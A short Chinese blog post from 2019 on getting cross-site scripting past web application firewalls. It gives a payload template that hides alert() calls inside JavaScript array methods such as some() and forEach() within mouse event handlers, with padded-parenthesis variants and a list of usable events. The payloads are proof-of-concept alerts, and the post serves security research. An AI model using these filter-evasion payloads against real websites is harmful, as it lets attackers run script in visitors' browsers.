Xss绕过waf研究一

在这篇文章

https://github.com/s0md3v/MyPapers中,

作者提到了一种检测WAF防御XSS攻击的技巧,其中提到了几个XSS攻击的绕过。因为传统WAF在进行正则匹配的时候,很可能会漏匹配。其中就有几个通过js数组方法来进行绕过的payload。我们一起来看一下

0x01 JavaScript数组方法

Js数组方法大概有几种:

  • filter()

即:筛选,对数组中的每个元素都执行一次指定的函数(callback),并且创建一个新的数组,该数组元素是所有回调函数执行时返回值为 true 的原数组元素。

  • map()

即:映射,可以在原数组的基础上映射出一个新数组,该数组中的每个元素都是原数组对应元素执行一个提供的函数后的返回结果。

  • some()

检测是否有符合条件的元素,只要有一个符合,即返回true

  • every()

检测每个元素是否都符合指定的条件,只要有一个不符合,即返回false

  • forEach()

对数组元素进行遍历。

  • lastIndexOf()

返回指定元素的索引位置,搜索是反方向进行的。

  • indexOf()

功能与lastIndexOf()一样,搜索是正向进行的

0x02 Payload结构

<any 通用事件=[数组].数组方法(弹框)>

这里标签名可以为任意值,当然如果过滤了尖括号,这里就没办法了。

<any/onmouseover=["1ightz"].some(alert)>onmouseover

可以添加无限个左右相等数量的括号

<any/onmouseover=[2].forEach(((((alert))))>onmouseover

<any/onmouseover=[2].forEach(((((alert))))())>onmouseover

数组方法

filter()
map()
some()
every()
forEach()
lastIndexOf()
indexOf()

通用事件

onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
oncontextmenu
onwheel

0x03 参考链接:

https://www.cnblogs.com/xiao-hong/p/3194027.html

Written on April 29, 2019